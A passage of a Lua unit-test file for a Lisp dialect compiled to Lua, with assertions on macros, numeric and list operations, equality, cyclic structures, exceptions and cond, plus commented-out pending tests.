[ (test-all-dirs T1) (test-all-dirs T2) ])
]])
end
function oT:testMacroManip()
assert_lal('1', [[
(begin
(define-macro (print-lua-code x)
(compile-to-lua x)
x)
(print-lua-code
(define (cell lst x y)
(@(+ (* x 3) y) lst)))
(cell [1 2 3] 0 0))
]])
end
function oT:testRuntimeError()
assert_error('.*perform arithmetic', [[
(begin
(define (y f)
(+ f 10))
(define (x) (y) 100)
(x)
102)
]])
end
function oT:testOverFldAcc()
assert_error('symbol argument.*list as sec', [[($^! _ _)]])
assert_error('basic form.*list as second', [[($^! 23 _)]])
assert_error('at least 2 arguments', [[($^! (x: m))]])
assert_lal('219', [[
(let ((m { x: 120 }))
($^! (x: m)
(+ _ 99))
($x: m))
]])
assert_lal('217', [[
(let ((m { x: 120 }))
($^! ("x" m)
(+ _ 97))
($x: m))
]])
assert_lal('218', [[
(let ((fld x:) (m { x: 120 }))
($^! (fld m)
(+ _ 98))
($x: m))
]])
assert_lal('219', [[
(let ((m { x: 120 }))
($^! K (x: m)
(+ K 99))
($x: m))
]])
assert_lal('217', [[
(let ((m { x: 120 }))
($^! K ("x" m)
(+ K 97))
($x: m))
]])
assert_lal('218', [[
(let ((fld x:) (m { x: 120 }))
($^! K (fld m)
(+ K 98))
($x: m))
]])
assert_lal('211', [[
(let ((fld x:) (m { x: 120 }))
($^! ((return 211) m)
(+ _ 99))
($x: m))
]])
assert_lal('200', [[
(let ((fld x:) (m { x: 120 }))
($^! ((set! fld 200) m)
(return fld)
(+ _ 99))
($x: m))
]])
assert_error('symbol argument.*list as sec', [[(@^! _ _)]])
assert_error('basic form.*list as second', [[(@^! 23 _)]])
assert_error('at least 2 arguments', [[(@^! (x: m))]])
assert_lal('219', [[
(let ((m [ 22 120 ]))
(@^! (1 m)
(+ _ 99))
(@1 m))
]])
assert_lal('218', [[
(let ((fld 1) (m [ 292 120 ]))
(@^! (fld m)
(+ _ 98))
(@1 m))
]])
assert_lal('217', [[
(let ((m [ 120 ]))
(@^! K (0 m)
(+ K 97))
(@0 m))
]])
assert_lal('218', [[
(let ((fld 1) (m [ x: 120 ]))
(@^! K (fld m)
(+ K 98))
(@1 m))
]])
assert_lal('211', [[
(let ((fld 0) (m [ 120 ]))
(@^! ((return 211) m)
(+ _ 99))
(@0 m))
]])
assert_lal('200', [[
(let ((fld 0) (m [ 120 ]))
(@^! ((set! fld 200) m)
(return fld)
(+ _ 99))
(@0 m))
]])
assert_lal('(1 4)', [[
(let ((ref @))
[
(ref 0 '(1 2 3 4 5))
(ref 3 '(1 2 3 4 5))
])
]])
assert_lal('(5 2 3 4 5)', [[
(let ((ref! @!) (l '(1 2 3 4 5)))
(ref! 0 l 5)
l)
]])
end
function oT:testSymbol()
assert_lal('"t"', [[(symbol->string 't)]])
assert_lal('t:', [[(symbol->string 't:)]])
assert_lal('t:', [[(symbol->string t:)]])
assert_lal('x:', [[(string->symbol "x:")]])
assert_lal('#true', [[(symbol=? 'a (begin 'a) (string->symbol "a"))]])
assert_lal('#false', [[(symbol=? a: (string->symbol "a:"))]])
end
function oT:testNumeric()
assert_lal('#false', [[(number? #true)]])
assert_lal('#true', [[(number? 1.2)]])
assert_lal('#true', [[(number? 1)]])
if (_VERSION == "Lua 5.3") then
assert_lal('#true', [[(integer? 1)]])
end
assert_lal('#false', [[(complex? 1)]])
assert_lal('#false', [[(rational? 1)]])
if (_VERSION == "Lua 5.3") then
assert_lal('#true', [[(exact? 1)]])
assert_lal('#true', [[(exact-integer? 1)]])
assert_lal('#false', [[(exact-integer? 1.2)]])
assert_lal('#false', [[(exact? 1.1)]])
assert_lal('#false', [[(exact? 1.0)]])
assert_lal('#true', [[(inexact? 1.0)]])
assert_lal('#true', [[(inexact? 1.2)]])
assert_lal('#false', [[(inexact? 1)]])
end
assert_lal('#true', [[(zero? 0)]])
assert_lal('#true', [[(zero? 0.0)]])
assert_lal('#false', [[(zero? 1)]])
assert_lal('#false', [[(zero? 0.1)]])
assert_lal('#true', [[(positive? 0.0)]])
assert_lal('#true', [[(positive? 0.1)]])
assert_lal('#true', [[(positive? 1)]])
assert_lal('#false', [[(positive? -0.1)]])
assert_lal('#false', [[(positive? -1)]])
assert_lal('#false', [[(negative? 0.0)]])
assert_lal('#false', [[(negative? 0.1)]])
assert_lal('#false', [[(negative? 1)]])
assert_lal('#true', [[(negative? -0.1)]])
assert_lal('#true', [[(negative? -1)]])
assert_lal('#true', [[(odd? 1)]])
assert_lal('#false', [[(odd? 2)]])
assert_lal('#false', [[(even? 1)]])
assert_lal('#true', [[(even? 2)]])
assert_lal('7', [[(abs -7)]])
assert_lal('7.4', [[(abs -7.4)]])
assert_lal('4', [[(max 3 4)]])
if (_VERSION == "Lua 5.3") then
assert_lal('4.0', [[(max 3.9 4.0)]])
else
assert_lal('4', [[(max 3.9 4.0)]])
end
assert_lal('3.2', [[(min 3.2 4.2)]])
assert_lal('-3', [[(min -3 4.2)]])
assert_lal('2', [[(floor/ 5 2)]])
assert_lal('2', [[(floor-quotient 5 2)]])
assert_lal('1', [[(floor-remainder 5 2)]])
assert_lal('-3', [[(floor/ -5 2)]])
assert_lal('-3', [[(floor-quotient -5 2)]])
assert_lal('1', [[(floor-remainder -5 2)]])
assert_lal('-3', [[(floor/ 5 -2)]])
assert_lal('-3', [[(floor-quotient 5 -2)]])
assert_lal('-1', [[(floor-remainder 5 -2)]])
assert_lal('2', [[(floor/ -5 -2)]])
assert_lal('2', [[(floor-quotient -5 -2)]])
assert_lal('-1', [[(floor-remainder -5 -2)]])
assert_lal('2', [[(truncate/ 5 2)]])
assert_lal('2', [[(truncate-quotient 5 2)]])
assert_lal('1', [[(truncate-remainder 5 2)]])
assert_lal('-2', [[(truncate/ -5 2)]])
assert_lal('-2', [[(truncate-quotient -5 2)]])
assert_lal('-1', [[(truncate-remainder -5 2)]])
assert_lal('-2', [[(truncate/ 5 -2)]])
assert_lal('-2', [[(truncate-quotient 5 -2)]])
assert_lal('1', [[(truncate-remainder 5 -2)]])
assert_lal('2', [[(truncate/ -5 -2)]])
assert_lal('2', [[(truncate-quotient -5 -2)]])
assert_lal('-1', [[(truncate-remainder -5 -2)]])
assert_lal('#true', [[(= truncate-remainder remainder)]])
assert_lal('#true', [[(= truncate-quotient quotient)]])
assert_lal('#true', [[(= modulo floor-remainder)]])
assert_lal('4', [[(gcd 32 -36)]])
assert_lal('4', [[(gcd 32 36)]])
assert_lal('0', [[(gcd)]])
assert_lal('1', [[(lcm)]])
if (_VERSION == "Lua 5.3") then
assert_lal('288.0', [[(lcm 32 -36)]]) -- difference to scheme, which returns exact num
assert_lal('288.0', [[(lcm 32.0 -36)]])
else
assert_lal('288', [[(lcm 32 -36)]]) -- difference to scheme, which returns exact num
assert_lal('288', [[(lcm 32.0 -36)]])
end
assert_lal('-5', [[(floor -4.3)]]) -- diff to scheme -5.0
assert_lal('-4', [[(truncate -4.3)]])
assert_lal('-4', [[(ceiling -4.3)]])
assert_lal('-4', [[(round -4.3)]])
assert_lal('3', [[(floor 3.5)]])
assert_lal('3', [[(truncate 3.5)]])
assert_lal('4', [[(ceiling 3.5)]])
assert_lal('4', [[(round 3.5)]])
assert_lal('#true', [[(and (< (exp 1) 2.72) (> (exp 1) 2.718))]])
if (_VERSION == "Lua 5.3") then
assert_lal('1.0', [[(exp 0)]])
else
assert_lal('1', [[(exp 0)]])
end
assert_lal('"4.5"', [[(number->string 4.5)]])
assert_lal('"4"', [[(number->string 4)]])
assert_lal('"10"', [[(number->string 16 16)]])
assert_lal('"21"', [[(number->string 33 16)]])
assert_lal('33', [[(string->number "21" 16)]])
assert_lal('17', [[(string->number "21" 8)]])
assert_lal('100', [[(string->number "100")]])
assert_lal('256', [[(string->number "100" 16)]])
if (_VERSION == "Lua 5.3") then
assert_lal('100.0', [[(string->number "1e2")]])
else
assert_lal('100', [[(string->number "1e2")]])
end
-- TODO: Rational/Complex parser syntax!?
-- TODO: Complete Float parser syntax!?
end
function oT:testListOps()
assert_lal('(1 2 3 x:)', [[(append '(1 2 3) x:)]])
assert_lal('(1 2 3 x:)', [[(append '(1 2 3) [x:])]])
assert_lal('(1 2 3 x:)', [[(append! '(1 2 3) x:)]])
assert_lal('(1 2 3 x:)', [[(let ((l '(1 2 3))) (append! l x:) l)]])
assert_lal('(1 2 3 x:)', [[(let ((l '(1 2 3))) (append! l '(x:)) l)]])
assert_lal('(1 2 3 (x:))', [[(let ((l '(1 2 3))) (append! l ['(x:)]) l)]])
assert_lal('(1 2 3)', [[(let ((l '(1 2 3))) (append l x:) l)]])
assert_lal('0', [[(length '())]])
assert_lal('0', [[(let ((l length)) (l '()))]])
assert_lal('0', [[(length [])]])
assert_lal('3', [[(length '(a b c))]])
assert_lal('3', [[(let ((l length)) (l '(a b c)))]])
assert_lal('3', [[(length '(a (b) (c d e)))]])
assert_lal('(e d c b a)', [[(reverse '(a b c d e))]])
assert_lal('(a b c d e)', [[(list-tail '(a b c d e) 0)]])
assert_lal('(d e)', [[(list-tail '(a b c d e) 3)]])
assert_lal('()', [[(list-tail '(a b c d e) 5)]])
assert_lal('c', [[(list-ref '(a b c d e) 2)]])
assert_lal('(a b 99 d e)', [[(let ((x '(a b c d e))) (list-set! x 2 99) x)]])
assert_lal('((e d) (a b c))', [[(let ((x '(a b c d e)) (y (pop! x 2))) [y x])]])
assert_lal('(e (a b c d))', [[(let ((x '(a b c d e)) (y (pop! x 1))) [y x])]])
assert_lal('(e (a b c d))', [[(let ((x '(a b c d e)) (y (pop! x))) [y x])]])
end
function oT:testEquality()
assert_lal('#true', [[(eqv? #t #t)]])
assert_lal('#true', [[(eqv? #f #f)]])
assert_lal('#true', [[(eqv? 't (string->symbol "t"))]])
assert_lal('#true', [[(eqv? t: (string->keyword "t"))]])
assert_lal('#true', [[(eqv? 2 (/ 4 2))]])
assert_lal('#true', [[(eqv? 2 (/ 4.0 2.0))]]) -- diff to scheme
assert_lal('#true', [[(eqv? 2.0 (/ 4.0 2.0))]])
assert_lal('#false', [[(eqv? [] [])]]) -- diff to scheme
assert_lal('#false', [[(eqv? {} {})]]) -- diff to scheme
assert_lal('#true', [[(eqv? "foo" (symbol->string 'foo))]])
assert_lal('#true', [[(eqv? + (let ((y +)) y))]])
assert_lal('#true', [[(let ((m { x: 11 }) (l #f)) (set! l m) (eqv? m l))]])
assert_lal('#true', [[(let ((p (lambda (x) x))) (eqv? p p))]])
assert_lal('#false', [[(eqv? { x: 11 } { x: 10 })]])
assert_lal('#false', [[(eqv? 2 (/ 5 2))]])
assert_lal('#false', [[(eqv? t: (string->symbol "t"))]])
assert_lal('#false', [[(eqv? #f #t)]])
assert_lal('#false', [[(eqv? #f 0)]])
assert_lal('#false', [[(eqv? #f [])]])
assert_lal('#true', [[(eqv? 2.0 2)]]) -- another diff to scheme
assert_lal('#true', [[(eq? #t #t)]])
assert_lal('#true', [[(eq? #f #f)]])
assert_lal('#true', [[(eq? 't (string->symbol "t"))]])
assert_lal('#true', [[(eq? t: (string->keyword "t"))]])
assert_lal('#true', [[(eq? t:: (string->keyword "t:"))]])
assert_lal('#true', [[(eq? 2 (/ 4 2))]])
assert_lal('#true', [[(eq? 2 (/ 4.0 2.0))]]) -- diff to scheme
assert_lal('#true', [[(eq? 2.0 (/ 4.0 2.0))]])
assert_lal('#false', [[(eq? [] [])]]) -- diff to scheme
assert_lal('#false', [[(eq? {} {})]]) -- diff to scheme
assert_lal('#true', [[(eq? "foo" (symbol->string 'foo))]])
assert_lal('#true', [[(eq? + (let ((y +)) y))]])
assert_lal('#true', [[(let ((m { x: 11 }) (l #f)) (set! l m) (eq? m l))]])
assert_lal('#true', [[(let ((p (lambda (x) x))) (eq? p p))]])
assert_lal('#false', [[(eq? { x: 11 } { x: 10 })]])
assert_lal('#false', [[(eq? 2 (/ 5 2))]])
assert_lal('#false', [[(eq? t: (string->symbol "t"))]])
assert_lal('#false', [[(eq? #f #t)]])
assert_lal('#false', [[(eq? #f 0)]])
assert_lal('#false', [[(eq? #f [])]])
assert_lal('#true', [[(eq? 2.0 2)]]) -- another diff to scheme
assert_lal('#true', [[(let ((x eqv?)) (x #t #t))]])
assert_lal('#false', [[(let ((x eqv?)) (x #t #f))]])
end
function oT:testCyclicStructs()
assert_lal('"#0=(1 2 3 4 #0#)"',
[[ (write-str (read-str "#0=(1 2 3 4 #0#)")) ]])
assert_lal('"#0=(1 #1={x: (list #0# #1#)} 3 4 #0#)"',
[[ (write-str (read-str "#2=(1 #4={ x: [#2# #4#] } 3 4 #2#)")) ]])
end
function oT:testEqual()
assert_lal('#true', [[(equal? 'a 'a)]])
assert_lal('#false', [[(equal? 'a 'b)]])
assert_lal('#false', [[(equal? '(a) '(a b))]])
assert_lal('#false', [[(equal? '(a) '(a b))]])
assert_lal('#false', [[(equal? '(a a) '(a b))]])
assert_lal('#true', [[(equal? '(a a) '(a a))]])
assert_lal('#true', [[(equal? ['a 'b [1 2 3 ] ] ['a 'b [1 2 3] ])]])
assert_lal('#true', [[(equal? "abc" "abc")]])
assert_lal('#true', [[(equal? 2 2)]])
assert_lal('#true', [[(equal? { a: 10 b: 20 } { b: 20 a: 10 })]])
assert_lal('#false', [[(equal? { a: 10 b: 20 } { b: 20 a: 11 })]])
assert_lal('#true', [[(equal? { a: [1 2 3] b: 20 } { b: 20 a: [1 2 3] })]])
assert_lal('#false', [[(equal? (read-str "#0=('a 'b #0#)") (read-str "#1=('a 'b #1#)"))]])
-- diff to scheme, but it terminates at least
end
function oT:testNilSentinel()
assert_lal('nil', [[nil]])
assert_error('Expected not nil', [[(nil)]])
assert_error('Expected not nil', [[(nil nil)]])
assert_lal('()', [[ [nil] ]])
assert_lal('()', [[ [nil nil] ]])
assert_lal('(1 2)', [[
(let ((l [1 2 3]))
(@!2 l nil)
l)
]])
assert_lal('#true', [[(nil? nil)]])
assert_lal('#false', [[(list? nil)]])
assert_lal('#false', [[(map? nil)]])
assert_lal('#true', [[(nil? 'nil)]])
assert_lal('#false', [[(list? 'nil)]])
assert_lal('#false', [[(map? 'nil)]])
end
function oT:testParser()
assert_lal('(1 2 3)', [[ (let((x[1 2 3]))x) ]])
end
function oT:testWriteReadCyclic()
assert_lal('"#0=(1 2 #0#)"', [[
(let ((x [1 2]))
(push! x x)
(write-str x))
]])
assert_lal('"#0=(1 #0# #1={\\"a\\" #1#})"', [[
(let ((x [1]) (m { }))
($!a: m m)
(push! x x)
(push! x m)
(write-str x))
]])
assert_lal('"(#0=(1 #0#) #0# #1={\\"a\\" #0#} #1#)"', [[
(let ((x [1]) (k {a: x}) (y [x x k k]))
(push! x x)
(write-str y))
]])
assert_lal('"(#0=() #0# ())"', [[
(let ((x []) (k [x x [] ]))
(write-str k))
]])
end
function oT:testDisplay()
assert_lal('"(foo foo foo {a hallo da})10"', [[
(let ((o []))
(import lua-table)
(display '("foo" foo foo: { a: "hallo da" }) o)
(display ($a: { a: 10 }) o)
(lua-table-concat o))
]])
assert_lal('"(x foobar)"', [[
(let ((out (open-output-string)))
(display '(x "foobar") out)
(get-output-string out))
;=> "xfoobar"
]])
assert_lal('"(x foobar)"', [[
(let ((out []))
(display '(x "foobar") out)
(get-output-string out))
;=> "xfoobar"
]])
end
function oT:testStr()
assert_lal('"foobar test123x"',
[[(str "foobar" " " test: 1 2 3 'x)]])
assert_lal('"foobar, ,test,1,2,3,x"',
[[(str-join "," "foobar" " " test: 1 2 3 'x)]])
assert_lal('"one word,another-word,and-a-symbol,(1 2 3)"',
[[(str-join "," "one word" another-word: 'and-a-symbol '(1 2 3))]])
assert_lal('123,foobar', [[
(begin
(import (lua table))
(lua-table-concat ['"\xFE;123" "foobar"] ","))
]])
assert_lal('"foo1236"', [[
(let ((x (+ 1 2 3)))
(str "foo" 123 x)) ;=> "foo1236"
]])
end
function oT:testExceptions()
assert_lal('"Exception: Something is weird!"', [[
(with-exception-handler
(lambda (err) (str Exception: ": " err))
(lambda ()
(when (zero? 0)
(raise "Something is weird!"))))
]])
assert_lal('"Exception: Something is weird!"', [[
(with-exception-handler
(lambda (err) (str Exception: ": " (error-object-message err)))
(lambda ()
(when (zero? 0)
(error "Something is weird!" 192))))
]])
assert_lal('#true', [[
(with-exception-handler
(lambda (err) (error-object? err))
(lambda () (error 123)))
]])
assert_lal('(1 2 3)', [[
(with-exception-handler
(lambda (err) (error-object-irritants err))
(lambda () (error 123 1 2 3)))
]])
assert_lal('"[string \\"*LAL*"', [[
(begin
(import (lua basic))
(import (lua string))
(with-exception-handler
(lambda (err) (lua-string-sub err 1 14))
(lambda () (lua-error "FOOBAR"))))
]])
-- TODO: add (guard ...)
end
function oT:testCurrentLine()
assert_match([[<eval>:4]],
lal_eval [[
(begin
(import (lal syntax compiler))
2130
(lal-syntax-compiler-current-source-pos))
]])
end
--function oT:testLetrecSDefine()
-- assert_lal('19', [[
-- (define (x) y)
-- (define y 19)
-- x
-- ]])
--
-- assert_lal('(24 23)', [[
-- (define (x) y)
-- (begin
-- (set! g 23)
-- (define y 24))
-- (define g 22)
-- [x g]
-- ]])
--end
-- TODO: (define-values ...) (let-values ...) and so on
-- TODO: add (cond ...)
function oT:testCond()
assert_lal('none', [[
((lambda () (cond ((> 3 3) 'greater)
((< 3 3) 'less)
(else 'none))))
]])
assert_lal('3492', [[
(cond (else (+ 3491 1)))
]])
assert_lal('greater', [[
(cond ((> 3 2) 'greater)
((< 3 2) 'less))
]])
assert_lal('less', [[
(cond ((> 2 3) 'greater)
((< 2 3) 'less))
]])
assert_lal('nil', [[
(cond ((> 3 3) 'greater))
]])
assert_lal('#true', [[
(cond ((eqv? 3 3)))
]])
assert_lal('333', [[
(cond ((eqv? 3 3) => (lambda (x) 333)))
]])
assert_lal('333', [[
(let ((x (cond ((eqv? 3 3)
=> (lambda (x) 333)))))
(+ x 1)
x)
]])
assert_lal('623', [[
(cond ((return 623)))
]])
assert_lal('73', [[
(let ((x 10))
(cond ((not (set! x (+ x 1)) 20))
((return (+ 62 x)))))
]])
assert_lal('73', [[
(let ((x 10))
(cond ((not (set! x (+ x 1)) 20))
((return (+ 62 x)))
(else 32)))
]])
assert_lal('444', [[
(let ((x 10))
(cond ((not (set! x (+ x 1)) 20))
(23 => (return 444))
((return 623))))
]])
assert_lal('623', [[
(+ 1 (cond ((return 623))))
]])
assert_lal('73', [[
(+ 1 (let ((x 10))
(cond ((not (set! x (+ x 1)) 20))
((return (+ 62 x))))))
]])
assert_lal('73', [[
(+ 1 (let ((x 10))
(cond ((not (set! x (+ x 1)) 20))
((return (+ 62 x)))
(else 32))))
]])
assert_lal('444', [[
(+ 1 (let ((x 10))
(cond ((not (set! x (+ x 1)) 20))
(23 => (return 444))
((return 623)))))
]])
-- TODO: Test returning tests!
end
function oT:testApply()
assert_lal('6', [[(apply + 1 2 3 [])]])
assert_lal('6', [[(apply + 1 2 3 (list))]])
assert_lal('-1', [[(apply - 0 (list 1))]])
assert_lal('-1', [[(apply - (list 0 1))]])
assert_lal('"X,Y"', [[(apply str-join "," (list X: Y:))]])
end
function oT:testAltStringQuote()
assert_lal('"foobar"', [[#q'foobar']])
assert_lal('"X\\"X"', [[#q'X"X']])
assert_lal('"X\'\\"X"', [[#q'X''"X']])
assert_lal('"X\\\\\\"X"', [[#q'X\"X']])
assert_lal('"X\\nX"', [[#q'X
X']])
end
-- TODO
--function oT:testMacroUsesFunction()
-- assert_lal('120', [[
-- (begin
-- (define (x a b) [+ a b])
-- (define-macro (l m a) (x m 10))
-- (l 2 4))
-- ]])
--
--end
--
-- TODO: add test for (str ....)
--
-- TODO: make most of the following tests work:
-- assert_lal('; BukaLisp Exception at Line -1: First symbol '$:abc' of (abc 1 2 3) not found in env!', [[(abc 1 2 3)]])
-- assert_lal('; BukaLisp Exception at Line -1: Symbol '$:undefvar' not found in env!', [[undefvar]])
-- assert_lal('; "B" nil 10
-- ; "A"
-- ; "OOO" (#<prim:+> 2 3) 5
-- ;=>nil', lal_eval [[(begin (prn "A") (when-compile :eval (define y 10)) (let* (x 20) (begin (when-compile :eval (begin (define o (list + 2 3)) (prn "B" x y))) (define k (when-compile :eval-compile o)) (prn "OOO" o k))))]])
-- assert_lal('("1" "2" "3" "4")', [[(begin (map str '(1 2 3 4)))]])
-- assert_lal('("1" "2" "3" "4")', [[(begin (map str [1 2 3 4]))]])
-- assert_lal('(":l1")', [[(begin (map str '{:l 1}))]])
-- assert_lal('"x"', [[(begin (map str 'x))]])
-- assert_lal('(2 4 6 8)', [[(begin (map (lambda* (x) (* 2 x)) '(1 2 3 4)))]])
-- assert_lal('(2 4 6 8)', [[(begin (map (lambda* (x) (* 2 x)) [1 2 3 4]))]])
-- assert_lal('(2)', [[(begin (map (lambda* (k x) (* 2 x)) '{:l 1}))]])
-- assert_lal('20', [[(begin (map (lambda* (x) (* 2 x)) 10))]])
-- assert_lal('; 203
-- ; 424
-- ;=>30', lal_eval [[(let* (x 10 y 20) (prn (* 20.3 x)) (prn (* 21.2 y)) (+ x y))]])
-- assert_lal('; A
-- ; B
-- ;=>10', lal_eval [[(begin (prn 'A) (prn 'B) 10)]])
-- assert_lal('; 21 22
-- ;=>53', lal_eval [[(begin (define x (lambda* (x y) (prn x y) (+ x y 10))) (x 21 22))]])
-- assert_lal('; A
-- ; B
-- ; X
-- ; Y
-- ;=>21', lal_eval [[(begin (prn 'X) (let* (l (when-compile :eval (prn 'A) (prn 'B) 21)) (prn 'Y) l))]])
-- assert_lal('2', [[(at '(1 2 3) 1)]])
-- assert_lal(':foo', [[(at {:a 43 :x :foo :b "bar"} :x)]])
-- assert_lal('foo', [[(at ['foo 'bar 'x] 0)]])
-- assert_lal('(1 2 4)', [[(begin (define x '(1 2 3)) (set-at! x 2 4) x)]])
-- assert_lal('[1 2 (1 2 3)]', [[(begin (define x [1 2 3]) (set-at! x 2 '(1 2 3)) x)]])
-- assert_lal('(f :f)', [[(begin (define x { }) (set-at! x 'f :f) (set-at! x :f 'f) (list (at x :f) (at x 'f)))]])
-- assert_lal('; BukaLisp Exception at Line -1: Can't set undefined variable '$:XXX'', [[(let (y 12) (set! XXX 20) XXX)]])
-- assert_lal('13', [[(let (y 12) (set! y 13) y)]])
-- assert_lal('10', [[(begin (define X (lambda () (return 10) 20)) (define Y (lambda () (define Y (X)) (return Y) 32)) (Y))]])
-- assert_lal('; A 20
-- ; B 11
-- ;=>30', lal_eval [[(begin
-- (define X (lambda (a)
-- (if (> a 10)
-- (+ 400 (begin
-- (println "A" a)
-- (+ 10 (return 20))
-- (println "NOREACH")))
-- (begin
-- (println "B" (+ a 10))
-- (return 30)))))
-- (X 20)
-- (X 1))]])
-- assert_lal('420', [[(let (f 40) (try (let (f 3) (+ (throw 10) 3 f)) (catch x (* x (i+ 2 f)))))]])
-- assert_lal('; "A"
-- ; Got: :C
-- ;=>133', lal_eval [[(begin (define X (lambda () (prn "A") (throw :C) (prn "B"))) (let (o 33) (+ o (try (X) (catch L (println "Got:" L) 100)))))]])
-- assert_lal('; "FOOBAR"
-- ; "FINALLY!" 100
-- ; your-mom "was thrown" 200
-- ;=>your-mom', lal_eval [[(let (fooo 200)
-- (try
-- (let (fooo 100)
-- (with-final
-- (begin
-- (prn "FOOBAR")
-- (throw 'your-mom)
-- (prn "FOOBAR2"))
-- (prn "FINALLY!" fooo)))
-- (catch x (prn x "was thrown" fooo) x)))]])
-- assert_lal('; "FOOBAR"
-- ; "FOOBAR2"
-- ; "FINALLY!" 100
-- ;=>nil', lal_eval [[(let (fooo 200)
-- (try
-- (let (fooo 100)
-- (with-final
-- (begin
-- (prn "FOOBAR")
-- (prn "FOOBAR2"))
-- (prn "FINALLY!" fooo)))
-- (catch x (prn x "was thrown" fooo) x)))]])
-- assert_lal('; "FINAL-X-THROW"
-- ; "FINAL-TRY"
-- ; "caught" 10
-- ;=>10', lal_eval [[(begin
-- (define Y (lambda (a) (throw a)))
-- (define X (lambda () (with-final (Y 10) (try (throw :l) (catch l (prn "FINAL-X-THROW"))))))
-- (try
-- (with-final (X) (prn "FINAL-TRY"))
-- (catch y (prn "caught" y) y))
-- )]])
-- assert_lal('; "FIN"
-- ; "caught" 1
-- ;=>1', lal_eval [[(begin
-- (try
-- (with-final (map throw (list 1 2)) (prn "FIN"))
-- (catch y
-- (prn "caught" y)
-- y))
-- )]])
-- assert_lal('; "FIN"
-- ; "INNER"
-- ;=>2', lal_eval [[(try (with-final (throw :x) (begin (prn "FIN") (with-final (throw 2) (prn "INNER"))))
-- (catch y y))]])
-- assert_lal('; "A"
-- ; "B"
-- ; "C"
-- ;=>:y', lal_eval [[(begin
-- (with-final (begin (prn "A") (return :x) (prn "0"))
-- (prn "B") (with-final (return :y) (prn "C"))) (prn "D"))]])
-- assert_lal('; "A"
-- ; "B"
-- ;=>:bla', lal_eval [[(begin (try
-- (with-final (begin (prn "A") (return :x) (prn "0"))
-- (prn "B")
-- (with-final (return :y)
-- (throw :bla)
-- (prn "C")))
-- (catch l l)))]])
-- assert_lal('; 0
-- ; 1
-- ; 2
-- ; 3
-- ; 4
-- ; 5
-- ; 6
-- ; 7
-- ; 8
-- ; 9
-- ;=>90', lal_eval [[(loop for (i 0 (< i 10) (i+ i 1))
-- (prn i)
-- (* i 10))]])
-- assert_lal('; :A
-- ; :B
-- ; :1-X
-- ;=>50', lal_eval [[(block 'x
-- (prn :A)
-- (block 'y
-- 4
-- (return-from 'y 30)
-- (prn :D))
-- (prn :B)
-- (block 'y
-- (prn :1-X)
-- (return-from 'x 50)
-- (prn :2-X))
-- (prn :C))]])
-- assert_lal('; :A
-- ;=>:GOGO', lal_eval [[(begin
-- (define X (lambda () (prn :A) (return-from 'GOGO :GOGO) (prn :B)))
-- (X))]])
-- assert_lal('; :A-X
-- ; :GOGO
-- ;=>nil', lal_eval [[(begin
-- (define X (lambda () (prn :A-X) (return-from 'GOGO :GOGO)))
-- (define L (lambda (f) (block 'GOGO (f))))
-- (prn (L X)))]])
-- assert_lal('; :X
-- ;=>:A', lal_eval [[(block 'A ((lambda () (prn :X) (return :A))))]])
-- assert_lal('; :A-X
-- ; :A-Y
-- ; :GOGO 30
-- ;=>nil', lal_eval [[(begin
-- (define X (lambda () (prn :A-X) (return-from 'GOGO :GOGO)))
-- (define L (lambda (f) (block 'GOGO (f))))
-- (define Y (lambda () (prn :A-Y) (return 30)))
-- (println (L X) (L Y)))]])
-- assert_lal('; :ef
-- ;=>nil', lal_eval [[(begin
-- (define X (lambda () (return-from 'GOGO :ef)))
-- (define L (lambda () (block 'GOGO (X))))
-- (println (L)))]])
-- assert_lal('100', [[(begin
-- (ns $O [$] ($:when-compile :eval ($:define $:define $:define)) (define L 100))
-- (ns $X [$ $O:] (define OOO L))
-- $X:OOO)]])
-- assert_lal('; 10
-- ; 20
-- ; 30
-- ;=>nil', lal_eval [[(begin
-- (ns pman [$:]
-- (define x 10)
-- (define print (lambda (y) (println y)))
-- (ns XXX [] (define O print)))
-- ($:pman:print 10)
-- (ns pman []
-- (print 20))
-- ($:pman:XXX:O 30))]])
-- assert_lal('[:A :X :E :B]', [[(begin
-- (ns $foo [$:define]
-- (define a :A)
-- (define b :B)
-- (define c :C)
-- (define d :D))
-- (ns $bar [$:define] (define e :E) (define b :X))
-- (ns user [$foo:a $bar:]
-- [a b e $foo:b]))]])
-- assert_lal('10', [[(begin (ns $ [] ($:define FO 10)) FO)]])
-- assert_lal('[20 10 20]', [[(begin
-- (define $foox:X 10)
-- [(ns $foox [] ($:define Y X) ($:set! X 20)) $foox:Y X])]])
-- assert_lal('33', [[(begin
-- (ns fooER [] ($:define X 20))
-- (set! $:fooER:X 33)
-- (ns fooER [] X))]])
-- assert_lal('(quasiquote 1)', [['`1]])
-- assert_lal('(quasiquote (1 2 3))', [['`(1 2 3)]])
-- assert_lal('(unquote 1)', [[',1]])
-- assert_lal('(splice-unquote (1 2 3))', [[',@(1 2 3)]])
-- assert_lal('; BukaLisp Exception at Line 1: Expected ')', got: T_EOF@1', [[(1 2]])
-- assert_lal('; BukaLisp Exception at Line 1: Expected ']', got: T_EOF@1', [[[1 2]])
-- assert_lal('; BukaLisp Exception at Line 1: Expected '"', got: T_EOF@1', [["abc]])
-- assert_lal('(with-meta [1 2 3] {"a" 1})', [['^{"a" 1} [1 2 3] ;; Comment test]])
-- assert_lal('(deref a)', [['@a ; comment test]])
-----------------------------------------------------------------------------
-- WITH ERROR CHECKING:
--oT:run { 'testFn' }
--oT:run { 'testCompileErrors' }
--oT:run { 'testOpsAsFn' }
--oT:run { 'testOpErrors' }
--oT:run { 'testLength' }
--oT:run { 'testMap' }
--oT:run { 'testInclude' }
--oT:run { 'testComments' }
--oT:run { 'testString' }
--oT:run { 'testMultiLineString' }
--oT:run { 'testStr' }
--oT:run { 'testMacro' }
--oT:run { 'testAndOr' }
--oT:run { 'testMagicSquares' }
--oT:run { 'testMacroManip' }
--oT:run { 'testRuntimeError' }
--oT:run { 'testOverFldAcc' }
--oT:run { 'testParser' }
--oT:run { 'testCond' }
--oT:run { 'testEquality' }
--oT:run { 'testEqual' }
--oT:run { 'testSymbol' }
--oT:run { 'testNumeric' }
--oT:run { 'testListOps' }
--oT:run { 'testNilSentinel' }
--oT:run { 'testDisplay' }
--oT:run { 'testExceptions' }
--oT:run { 'testDefBuiltin' }
--oT:run { 'testCyclicStructs' }
--oT:run { 'testImport' }
-- WITHOUT ERROR CHECKING:
--oT:run { 'testSideeffectIgnore' }
--oT:run { 'testDo' }
--oT:run { 'testBool' }
--oT:run { 'testLet' }
--oT:run { 'testReturn' }
--oT:run { 'testReturnAnyWhere' }
--oT:run { 'testLetWOBody' }
--oT:run { 'testLetEmpty' }
--oT:run { 'testReturnInLetBody' }
--oT:run { 'testReturnFromFn' }
--oT:run { 'testIf' }
